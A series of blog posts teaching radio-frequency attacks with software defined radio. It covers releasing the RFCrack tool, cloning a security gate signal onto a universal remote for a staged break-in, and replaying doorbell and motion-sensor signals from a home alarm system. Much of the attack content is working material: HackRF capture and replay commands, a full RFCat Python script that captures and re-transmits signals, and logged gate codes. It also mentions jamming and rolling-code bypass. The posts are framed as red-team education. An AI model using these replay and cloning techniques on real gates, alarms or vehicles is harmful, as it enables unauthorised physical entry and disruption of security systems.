Sunday, January 28, 2018

Hacking Everything with RF and Software Defined Radio - Part 3


Reversing Device Signals with RFCrack for Red Teaming


This blog was researched and automated by:
@Ficti0n 
@GarrGhar 
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com 
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack


Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


 







Walkthrough Video: 




Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don’t want to look suspicious. 

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 




RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds


Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000
A signal was found on :390000000
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000



Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don’t have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 



Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data




From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don’t have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 


Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don’t matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python RFCrack.py -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)




Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don’t care about those signals since they don’t pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn’t work so well. This is fine since we don’t care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png


Graph Comparison Output for 97% Match: 







Conclusion: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki. 

Sunday, November 26, 2017

RFCrack Release - A software Defined Radio Attack Tool

RFCrack uses the following hardware with RFCat libraries:
YardStick One: 
https://goo.gl/wd88sr

I decided to cleanup my RF testing harness and release it as a tool named RFCrack
Mostly because it has been pain to set up use-case scenarios from scratch for every device I am testing. Rather then release a tool no one knows how to use. The below video will be a quick but comprehensive tutorial to get you started If you’ve been following the blogs, this will greatly simplify your testing, in the following ways:
  • RFCrack handles all of your data conversions. 
  • It allows you to capture, replay and save payloads for use anytime 
  • It will handle rolling code bypass attacks on your devices. 
  • You can jam frequencies and fuzz specific values 
  • It will also allow you to scan specific frequencies in discovery mode or incrementally probe them 
  • RFCrack will hopefully have keyless entry & engine bypass support in the near future

This is the first release, everything works as intended but there will be plenty of updates as I continue to do research and find reasons to add features needed for testing. I am still making changes and making it more flexible with modifiable values and restructuring code.  If you have any legitimate use case scenarios or need a specific value to be modifiable, hit me up and I will do my best to update between research, if its a legitimate use case.

You can reach me at:
Twitter: @Ficti0n
http://cclabs.io , http://consolecowboys.com

GitHub Code for RFCrack:

https://github.com/cclabsInc/RFCrack

Full RF Hacking Course in Development:

Not all of the attacks in the tool have been covered in the RF hacking blog series and a few more are in research mode, as such, not yet added to the tool but will probably be covered in a full length online class on Hacking with RF which includes all targets and equipment.  Send an email to info(at)cclabs.io if your interested.



Walkthrough Training Video:




Until Next time: 

Cheers, and enjoy the tool for your personal use testing devices, feedback and bug reports are appreciated.  I have another RF blog coming out shortly based on my friends research into hacking garages/gates and creating keyfobs.  I will post when its ready. 

Tuesday, October 24, 2017

Hacking Everything with RF and Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 


I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com


Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)

YardStick One: (from the last blog)


So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 
This blog will be your RFCAT primer and coding tutorial, but don’t be scared with the word “Programming” I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 


Video Series PlayList Associated with this blog:






The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn’t feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython

Plug in your adapter and type in the following: 
rfcat -r 
d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  





So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 


Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of “lowball” which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r


>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...  packets arriving will be displayed on the screen
(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................


If you hit “ENTER” in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]
'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 
New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000
Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print "Starting"
d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)
print 'Transmission Complete'


TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 
  • When using a telescopic antenna closed I had almost repeating output with some random bits flipped
  • When extending the antenna it went crazy output with random noise
  • I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 
  • Verify the frequency with RFCat
  • How can I listen for it and capture a transmission with RFCat
  • How can I send this transmission with RFCat


We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
  File "", line 1, in
  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv
    data = self.recv(APP_NIC, NIC_RECV, timeout)
  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv
    raise(ChipconUsbTimeoutException())
ChipconUsbTimeoutException: Timeout waiting for USB response.


OK thats not cool we are getting a weird error if we don’t get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...


That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...
while True:
...     try:
...             d.RFrecv()
...     except ChipconUsbTimeoutException:
...             pass



Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 
Line 14: After that we just print it out. 




When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable “capture”  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  




Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 
  • We need to parse out the data from the surrounding 0s
  • We need to convert it to a format we can send (tricker then it sounds) 
  • We need to add padding and send that data over (We know how to do this already) 


Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output




Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won’t actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON’T USE THIS.. IT WONT WORK!!! 
for payload in payloads: 
    formatted = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
    
        print "Currently being formatted: " + payload 
        iterator = iter(payload)
        for i in iterator:
            formatted += ('\\x'+i + next(iterator))
    else:
        continue

Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 
Below is the output of the following:
  • Your encoded capture
  • Your parsed payloads in a nice list
  • Your payload being processed into hex. 
But this is where things go wrong, you then have :
  • Your nicely formatted Hex created by your code above (Yay for us) 
  • Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)




 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 


BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:
sudo pip install bitstring

Our New code using BitString: 
Line 2:   I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below




With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don’t spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)


Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn’t overburdened. I already broke a few of these devices during testing LOL. 
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.


#—————YardStick_InstantReplay_SimpleVersion.py ----------#
# @Ficti0n
# http://consolecowboys.com 


from rflib import *
import time
import re
import bitstring

print("Listening for them signals in ASK")
d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)
d.setMaxPower()
d.lowball()

#-----------Start Capture 1 Transmission ----------#
capture = ""
while (1):
    try:
        y, z = d.RFrecv()
        capture = y.encode('hex')
        print capture
        
    except ChipconUsbTimeoutException: 
        pass
    if capture:
        break

#Parse Hex from the capture by reducing 0's
payloads = re.split ('0000*', capture)
print payloads

#----------Start Parse and Create Payload---------#
for payload in payloads: 
    
    formated = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted to binary: " + payload 
        binary = bin(int(payload,16))[2:]
        print binary
        print "Converting binary to bytes: "
        formatted = bitstring.BitArray(bin=(binary)).tobytes()
    else:
        continue

#------------Send Transmission--------------------#
    time.sleep(2)
    print "Sending bytes with padding"
    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)
    print 'Transmission Complete'


Thats All Folks, Whats Next: 


I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 

Tuesday, October 17, 2017

Hacking Everything with RF and Software Defined Radio - Part 1


This will be a Mini Course on Attacking Devices with RF from a hackers perspective


I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning.  The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.
You can follow us online at the following if your really bored:
Twitter: @Ficti0n , GarrGhar
Site: CCLabs.io


Items needed to Follow Along: 

Purchase Target: 

Home Alert System: https://goo.gl/W56Eau
I settled on hacking a home alert system for the first blog, which contained the following Items: 
  • A doorBell
  • Motion Sensors with alarm alerts
  • Door sensors to alert when the door is opened
  • Home Hub Receiver

Purchase Tools Needed: 

HackRF: https://goo.gl/3trM5Q
YardStick: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


Penetration Testing BrainStorming Session: 

I brainstormed with a friend the following attack avenues for this device: 
  • Ring the doorbell  (Our Hello World) 
  • Trigger the motion sensors
  • Remotely disable the motion sensors
  • Jam frequencies for Denial Of Service 

This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don’t have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below. 

  • Using HackRF for RF Replay attacks 
  • Using Yardstick One for Replay attacks 
  • Demodulating and decoding signals for use with RF attacks 
  • Discovering and troubleshooting issues
  • Coding tools in python and RFCat
  • RF Jamming Attacks


Video Series PlayList Associated with this blog: 




Initial Profiling of our Device: 

What does our device do in normal operation?   
Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell.  

How do they Connect?
All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them. 

Determining the Frequency: 
To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to https://fccid.io/ and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website. 




Replay attacks with HackRF To Trigger / Disable Sensors: 

Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything. 

Below is a photo of the HackRF One hardware used in the first attack and linked above. 


Install HackRF Software: 

Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro: 
  • brew install hackrf
  • Plug in HackRF and type hackrf_info to confirm its working

Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals. 

With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.  The following 2 commands are listed below.  The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by “Input file end reached. Rewind to beginning” within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain. 

Simple Replay Commands: 

hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.  Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog.  

Receive: (Capture Traffic from HackRF): 

Destroy: ficti0n$ sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.004 sec = 19.9 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
^CCaught signal 2
 5.2 MiB / 0.257 sec = 20.4 MiB/second

Exiting...
Total time: 4.27196 s
hackrf_stop_rx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

Transmit: (Trigger alarm from HackRF) 

Destroy: ficti0n$ sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.000 sec = 19.9 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
Input file end reached. Rewind to beginning.
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
^CCaught signal 2
12.8 MiB / 0.654 sec = 19.7 MiB/second

Exiting...
Total time: 12.68557 s
hackrf_stop_tx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

